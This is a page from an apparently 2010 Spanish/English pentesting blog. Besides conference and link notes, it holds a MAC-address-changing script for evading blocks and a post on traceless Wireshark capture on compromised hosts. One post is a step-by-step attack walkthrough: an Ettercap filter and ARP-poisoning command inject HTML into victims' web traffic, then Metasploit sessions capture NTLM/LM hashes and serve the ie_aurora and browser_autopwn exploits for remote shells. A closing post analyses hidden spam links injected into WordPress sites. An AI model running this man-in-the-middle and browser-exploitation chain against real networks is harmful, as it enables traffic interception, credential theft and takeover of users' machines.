Commercial Quantum Cryptograph…

Commercial Quantum Cryptography System Hacked http://bit.ly/c2MdPY #infosec #security

Share
Posted in HackTwitts | Tagged , | Leave a comment

BugCON Security Conference 2010




Translate to English

BugCON Security Conference es un evento de seguridad meramente técnico en donde los mas importantes investigadores del área muestran sus últimos descubrimientos.

En la edición 2008 BugCON fue catalogado como el evento de cómputo con nivel mas alto en todo México, por encima de congresos y eventos similares. En 2009 se llego a mas de 2800 asistentes, 30 conferencias, 11 talleres y 2 competencias.

Este año BugCON celebra su tercer edición del 26 al 28 de Octubre en instalaciones del Instituto Politécnico Nacional en México D.F.

El Call For Papers cierra en Agosto, al igual que el deadline para patrocinadores. Si requieres más información puedes escribir a cualquiera de los organizadores o visitar el sitio web www.bugcon.org

No te lo puedes perder ;)


Armin García López
Presidencia
darknight _AT_ bugcon _DOT_ org

Carlos A. Lozano Vargas
Fundador
vendetta _AT_ bugcon _DOT_ org

Alejandro Hernández Flores
Organizador Técnico
alt3kx _AT_ bugcon _DOT_ org

Añadelo a tus eventos en Facebook!


http://www.facebook.com/event.php?eid=119998731350362

Adrián Puente Z.

Share
Posted in Events, Hacking, Security | Tagged , , , , , | Leave a comment

Nice list about Pentesting SKi…

Nice list about Pentesting SKillset. (via @codigoverde) U may not master all but you need a good net and dev background http://bit.ly/dcXIKb

Share
Posted in HackTwitts | Tagged | Leave a comment

Excelent wordlist generator ba…

Excelent wordlist generator based on Internet searches! http://www.awlg.org/index.gen You can combine it with Hydra. Give it a try!

Share
Posted in HackTwitts | Tagged | 2 Comments

Fast MAC Address Changer in Linux

When you are making a pentest sometimes you need to be sneaky and have some tricks in your arsenal to cloak yourself in the network. But some sysadmins are skillfull in their incident response and, sometimes (not many in my experience) they found you and try to block your access creating some ACLs for the IP you are using, maybe for your MAC Address.

This script runs on linux and helps you changing your MAC Address in a blink of an eye, this is how it works: you invoke the command and automatically see if you are root, if not it sudo itself to get the needed priviledges, generates a new random mac and installs it in the interface.

-=:)> changemacrandom.sh  

For example:

-=:)> changemacrandom.sh eth0
Only root can do that! sudoing...
eth0      Link encap:Ethernet  HWaddr 00:15:c5:3d:e9:82  
Interface eth0 has new mac:
eth0      Link encap:Ethernet  HWaddr 70:e7:84:ca:b2:c5  
Restart dhcp client to get a new IP. 

The code is really simple:

#!/bin/bash
# Script by Adrian Puente Z. apuente _AT_ hackarandas _dot_ com
# Powered by Hackarandas www.hackarandas.com
# Licensed by GNU GPLv3
# http://www.gnu.org/licenses/gpl-3.0.txt


[ $# -eq 0 ] && echo  "Sintax: `basename $0` " && exit 0

[ `id -u` -ne 0 ] && echo "Only root can do that! sudoing..." 
if [ "$EUID" != 0 ]; then sudo `which $0` $1; exit; fi

INT=$1

function gennewmac
{
hexdump  /dev/urandom | head -3 |\
	 cut -d' ' -f2 | while read -n 2 i
			 do echo -n $i:
			 done | sed 's/::/:/g;s/:$//g'
}

if  ifconfig ${INT} 2> /dev/null 2>&1 | head -1 
then
	NEWMAC=`gennewmac`
	sleep 3
	if  ifconfig ${INT} down hw ether ${NEWMAC} 2>/dev/null
	then
		echo Interface ${INT} has new mac: 
		ifconfig ${INT} 2> /dev/null 2>&1 | head -1
		ifconfig ${INT} up
		echo Restart dhcp client to get a new IP.
	else
		echo "Error changing MAC to ${NEWMAC}!"
		echo "Try again with the same command."
		exit 1
	fi
else
	echo "Interface ${INT} doesn't exists!"
	exit 1
fi
exit 0 

You can download the script or check other projects i’ve made.

So that’s it. Leave your comments please and happy hacking!

Adrián Puente Z.

, , , , , ,

Share
Posted in Code, Hacking, Security | Tagged , , , , | Leave a comment

Excellent history about Linux bo…

Excellent history about Linux box’s rootkit analysis http://www.void.gr/kargig/blog/2009/08/21/theres-a-rootkit-in-the-closet. RSS the blog.

Share
Posted in HackTwitts | Tagged | Leave a comment

Haiku H4x0r: nop nop nop, nop …

Haiku H4x0r: nop nop nop, nop nop nop nop shellcode, pointer to shellcode. (Escuchado en el podcast de @pauldotcom) Me hizo reir mucho.

Share
Posted in HackTwitts | Leave a comment

Ettercap + Metasploit – Helping the Aurora Attack


I found a nice trick from Fulfor based in another trick from Iron Geek that I applied in a Pentest using the magical HD Moore’s Metasploit and his browser_autopwn module and now I am adding the Aurora IE new Metasploit module.

This trick has 3 parts:

The Ettercap Filter

Based on the Irongeek’s Fun with Ettercap Filters and Bob’s Fulfor article I am creating the next ettercap filter:

 # Just copy and paste in you terminal.
cat > ch0ks.browser_autopwn.attack.filter << __END
if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-gnidocnE"); 
	  # note: replacement string is same length as original string
      msg("Encoding Taken Care Of...\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("head>", "head>  ");
replace("body>", "body>  ");
msg("Replacement Filter Ran.\n");
}

__END

The IP string 192.168.123.3:80 is the IP with the port where I have the browser_autopwn module wating for the connection and I am using the head and body tag because I want my attack to be the first thing they load. Now we compile the code:

etterfilter -o ch0ks.browser_autopwn.attack.ef ch0ks.browser_autopwn.attack.filter

etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA


 12 protocol tables loaded:
	DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth 

 11 constants loaded:
	VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP 

 Parsing source file 'ch0ks.browser_autopwn.attack.filter'  done.

 Unfolding the meta-tree  done.

 Converting labels to real offsets  done.

 Writing output to 'ch0ks.browser_autopwn.attack.ef'  done.

 -> Script encoded into 16 instructions.

Now we start the ettercap making the ARP Poisoning attack and injecting the HTML code:

ettercap -P smb_down -i eth0 -l logfile-`date +%F-%s` -m msgfile-`date +%F-%s` -T  -M arp:remote -F ch0ks.browser_autopwn.attack.ef  /192.168.123.39,42,33,106,154/ /192.168.123.1/

The commands is running ettercap with the smb_down plugin that forces the connection to be a LM authentication, so it searches for the \\192.168.5.45\share\pixel.gif file that will be waiting the metasploit auxiliary/server/capture/smb module and will be logging the hashes. Also the Ettercap will be logging everything in the logfile and msgfile and making an ARP Poisoning between the first IPs in // and the second, I really recommend to use a little number of IPs and the Gateway to avoid making a DoS on the network. The -F is the parameter will load our brand new filter that will inject on the fly HTML code in the traffic between the victims, that’s why is important to use the gateway.

No we have to start our Metasploit attack. This is not new, I took the idea from Bob’s Fulfor article. I just gonna update it to work with the Metasploit Framework 3 and add it the browser_autopwn or the aurora attack.

In the moment I am writting this article I am using the metasploit v3.3.4-dev [core:3.3 api:1.0].

 
#    # ###### #####   ##    ####  #####  #       ####  # ##### 
##  ## #        #    #  #  #      #    # #      #    # #   #   
# ## # #####    #   #    #  ####  #    # #      #    # #   #   
#    # #        #   ######      # #####  #      #    # #   #   
#    # #        #   #    # #    # #      #      #    # #   #   
#    # ######   #   #    #  ####  #      ######  ####  #   #   



       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 324 exploits - 105 auxiliary
+ -- --=[ 217 payloads - 20 encoders - 6 nops
       =[ svn r8286 updated today (2010.01.28)

msf > 

For the next modules you need to work with the root account because you need to open priviledges ports like 80, 135 and 445 for the attack to work. I am using Ubuntu Linux Karmic Koala, but you can use the Backtrack Project for this attack.

NTLM or LM Interception.

We start the attack.

sudo msfconsole 
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > set  LOGFILE Metasploit139.log
LOGFILE => Metasploit139.log
msf auxiliary(smb) > set  PWFILE Metasploit139.pwd 
PWFILE => Metasploit139.pwd
msf auxiliary(smb) > run
[*] Auxiliary module execution completed
[*] Server started.

msf auxiliary(smb) > set  LOGFILE Metasploit445.log            
LOGFILE => Metasploit445.log
msf auxiliary(smb) > set  PWFILE Metasploit445.pwd 
PWFILE => Metasploit445.pwd
msf auxiliary(smb) > set SRVPORT 445 
SRVPORT => 445
msf auxiliary(smb) > run
[*] Auxiliary module execution completed
[*] Server started.
msf auxiliary(smb) > 

I am running the service on both 139 and 445 because in my experience it improves the chances to catch an authentication hash. Now we have to wait and with some luck you sould see something like:

[*] Received 192.168.0.103:2281 MYDOMAIN\LAMEUSER LMHASH:7c83b9be93e202a4be355b75e982144b59bb9f836ec26200 NTHASH:9fc0fba25cb2817441a0ca8c003a4b68da83ef9e72514b2e OS:Windows 2002 2600 Service Pack 1 LM:Windows 2002 5.1

This is good but you can’t just use that hash to authenticate so you have to crack it using the idea from carnal0wnage’s blog article: Using the Metasploit SMB Sniffer Module NOTE: The tool halflm_second.rb is in the tools directory inside the Metsploit directory.

Attacking the Browser directly

Now we have to start the browser_autopwn

msf auxiliary(smb) > use windows/browser/ie_aurora     
msf exploit(ie_aurora) > set SRVPORT 80   
SRVPORT => 80
msf exploit(ie_aurora) > set URIPATH /    
URIPATH => /
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/bind_tcp 
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ie_aurora) > show options 

Module options:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on.
   SRVPORT     80               yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     /                no        The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST                      no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(ie_aurora) > exploit 
[*] Exploit running as background job.
msf exploit(ie_aurora) > 
[*] Started bind handler
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.123.3:80/
[*] Server started.

That’s it now you have to wait so a browser bite the bait and get a meterpreter console. This was about the Aurora new Metasploit’s module because is the new trend of the night but let’s face it, it is just part of the big world of the browser attacks. So if you are just lazy you can use the browser_autopwn module:

msf auxiliary(browser_autopwn) > db_driver  sqlite3                
[*] Using database driver sqlite3
msf > use server/browser_autopwn
msf auxiliary(browser_autopwn) > set LHOST 192.168.123.3
LHOST => 192.168.123.3
msf auxiliary(browser_autopwn) > set SRVPORT 80  
SRVPORT => 80
msf auxiliary(browser_autopwn) > set URIPATH /
URIPATH => /
msf auxiliary(browser_autopwn) > show options  

Module options:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   LHOST       192.168.123.3    yes       The IP address to use for reverse-connect payloads
   SRVHOST     0.0.0.0          yes       The local host to listen on.
   SRVPORT     80               yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     /                no        The URI to use for this exploit (default is random)
msf auxiliary(browser_autopwn) > run
[*] Auxiliary module execution completed
[*] Starting exploit modules on host 192.168.123.3...
[*] ---

[*] Starting exploit multi/browser/firefox_escape_retval with payload generic/shell_reverse_tcp
[*] Using URL: http://0.0.0.0:80/IC0F7kIlYh
[*]  Local IP: http://192.168.123.3:80/IC0F7kIlYh
[*] Server started.
...
[*] Starting the payload handler...
[*] Started reverse handler on port 6666
[*] Starting the payload handler...

[*] --- Done, found 15 exploit modules

[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.123.3:80/
[*] Server started.

That’s it now you have to wait so a browser bite the bait and get a shell inside the computer with the user priviledges that is running the browser.

Happy Pentesting

Adrián Puente Z.

Technorati Tags:
; ; ; ; ; ; ; ; ; ; ; ; ; ; Tag generator

Share
Posted in Articles, Hacking, Security | Tagged , , , , , , , , , , | 6 Comments

Wireshark Verdaderamente Portable

Truly Portable Wireshark
Wireshark Verdaderamente Portable Translate this page to english

Una de las vulnerabilidades graves que siempre encontramos en las empresas durante las pruebas de penetración es el uso de protocolos inseguros como el Telnet, FTP y HTTP cuyo tráfico viaja en texto claro que puede ser fácilmente reensamblado e interpretado y de ahí obtener usuarios y contraseñas de otros aqctivos en la red como el Dominio de Windows, el ERP o el CRM.

Una vez que hemos tomado control del Dominio de Windows empezamos a acceder otros activos en segmentos críticos como la red donde se hallan los administradores de los diferentes sistemas; y así, procurarnos unas horas de capturas del tráfico de esa red esperando encontrar credenciales dentro de los protocolos inseguros que aún se emplean.

Uno de los problemas que se nos presentaba era que este procedimiento era intrusivo pues el Wireshark requiere de las librerías de Winpcap en el equipo donde lo queremos correr y esto no es aceptable en nuestros procedimientos pues comúnmente no queremos dejar rastros en los equipos tomados.

Buscando en la red hallé una versión portable del mismo pero tenía el mismo problema: Instalaba el Winpcap y lo desinstalaba al terminar, siendo el mismo problema.

Luis “El Hellboy” Brauer y yo nos pusimosa investigar como corregir este problema y hallamos en varios foros (cuyas URLs perdí, lo siento) varios detalles sobre el funcionamiento de las librerias del Winpcap y así buscar procedimiento para darle vuelta.

Tengo el gusto de compartirles nuestro desarrollo y esperamos que les sea útil, aunque su descarga está prohibida a aquellos que deseén usarlo para redes ajenas a su administración.

Instrucciones:

Descarga el archivo aqui y descomprímelo en alguna raiz ya sea en C:\ o en una unidad de almacenamiento USB. Se ejecuta el arrancador que dará de alta las variables de entorno pertinentes y copiará un archivo en la unidad de %SystemRoot% y al terminar lo borrará sin dejar rastros. Terminada la captura solo hay que cerrar el programa y borrar la carpeta.

Yo recomiendo que se capturen varias horas en archivos no mayores a 200 MB y antes de esto verificar que hay espacio suficiente en la unidad donde guardemos la captura, ¿No queremos que se caiga el servidor por nuestra intervención, verdad?

Bueno, es todo, espero lo encuentren útil e interesante. Esperen nuevas herramientas, técnicas y posts y no dejen de darse una vuelta por el repositorio de herramientas de Hackarandas. Prometo no desaparecer ya tanto y dénse una vuelta por Sound2Sin, un blog hermano que empezamos a armar.

Adrian Puente Z.

Technorati Tags: , , , , , , ,

Share
Posted in Hacking, Security | Tagged , , , , | 1 Comment

Blogs Usados para Indexar Sitios de Spam

Blogs Used for Indexing Spam Sites
Pwned! Translate this page to english

Hace no mas de dos semanas, empecé a observar que el blog de un amigo se comportaba de forma extraña: Cuando hacía un post, este se visualizaba bien pero a los dos días desaparecía el contenido y después de otros dos días regresaba. Esto se lo comenté a mi amigo y al analizar el contenido del post pudimos observar que al final concatenaron cientos de links a otros sitios con un estilo que los ocultaba. Algo parecido a esto:


<u style=display:none><a href="http://www.sitiofueradecontexto.com/event/?p=292">http://www.sitiofueradecontexto.com/event/?p=292</a> irssa
<a href="http://www.sitiofueradecontexto.com/event/?p=8306">http://www.sitiofueradecontexto.com/event/?p=8306</a> nmeathgCnApiue
<a href="http://www.sitiofueradecontexto.com/event/?p=216">http://www.sitiofueradecontexto.com/event/?p=216</a> ipNm
<a href="http://www.sitiofueradecontexto.com/event/?p=7207">http://www.sitiofueradecontexto.com/event/?p=7207</a> Peh
----- 300 lineas mas ---
</u>

Lo curioso es que las ligas no se ven dentro del post y al ingresar a una de las ligas encontré lo siguiente:
Sitio apocrifo

Pero si nos vamos a la raiz de la URL vemos un sitio totalmente diferente! Imaginen mi cara mientras sale de mi boca un ¿Qué es lo que está pasando?

Resulta que los spammers están hackeando sitios para meter spam de los diversos temas que ya sabemos. Estoy de acuerdo, esto no es nuevo, pero está empleando una vulnerabilidad en los blogs para meter ligas apócrifas para que google las indexe y sean encontradas. Esto no lo he visto publicado en otro lado, pero si me equivoco, plz, dejen la liga en un comentario para complementar este post.

Para muestra un botón

Si buscamos la URL en google podemos ver lo siguiente:

Spam en Google

Si nos vamos a una de las ligas que nos muestra Google, por ejemplo http://www.15digitalmarketing.co.uk/articles/ podemos ver la siguiente página:

Sitio con código spam insertado en el Post

Si analizamos mas detenidamente el código HTML del sitio podemos ver los siguiente:

Codigo de sitio con código inyectado
http://www.hartoftheapple.com
Cómo vemos, las ligas apuntan a http://www.hartoftheapple.com que es un sitio que no tiene absolutamente nada que ver con la venta de medicinas pero que ha sido comprometido y que está alojando sitios de Spam sin saberlo y a lo mejor hasta de Phishing.

Regresemos al sitio al que se le ha inyectado el código y analicemos un poco mas del código fuente HTML de la primera página y observaremos mas código inyectado pero a otros sitios!

Código inyectado a sitio normal

Código inyectado a sitio normal

Conclusión

Lo métodos de los spammers se han vuelto cada vez mas complejos, desde insertar la publicidad en documentos PDF para brincarse los filtros hasta lo que estoy presentando hoy. Estos usuarios maliciosos del Internet están vulnerando la aplicación WordPress para inyectar su código, pero lo mas interesante es que lo hacen con sumo cuidado para no ser descubiertos. Hace casi diez años, cuando empezaba con mi carrera de informática, se podía ver que el comprometer sitios era vandalismo sin sentido que buscaba el reconocimiento y respeto de sus compañeros de team. Al parecer estos mismos script kiddies han crecido y han hecho de esta carrera delictiva un negocio remunerado y ligado al crimen cibernético, no todos sientan cabeza y se apegan “al sistema”, se dedican a comprometer sitios, crean botnet y cuando menos tiene una una infraestructura sólida para realizar delitos mas fuertes como el robo de identidad y el fraude electrónico.

Si eres un blogger y usas el sistema de WordPress es importante que lo actualices en este momento. Puedes seguir la guía en la siguiente página y te vas a ahorrar varios dolores de cabeza. Muchas veces no es el sistema de wordpress sino los plugins de terceros que instalamos, como le pasó a PHP BB por lo que es importante actualizar estos también.

Si crees que tu sitio ha sido comprometido, las buenas prácticas dictan, parchar el sistema operativo, reinstalar todo desde un respaldo limpio, cambiar todas las contraseñas y restringir el acceso a usuarios sospechosos hasta que se recupere el control. Si eres como muchos que no hacen respaldo (mal muy mal) si es bueno reinstalar el código del portal, y revisar en scripts código malicioso y archivos extraños y/o ocultos, al igual que el cron.

No sé en que acabe esto pero está muy interesante. A estas alturas ya todos los sitios que se analizaron han sido notificados sobre su posible comprometimiento y este post se va derechito al Cert de la UNAM.

Adrián Puente Z.

Technorati Tags: , , , , , , , , , ,

Share
Posted in Experiences and Stories, Hacking, Security | Tagged , , , , , | 2 Comments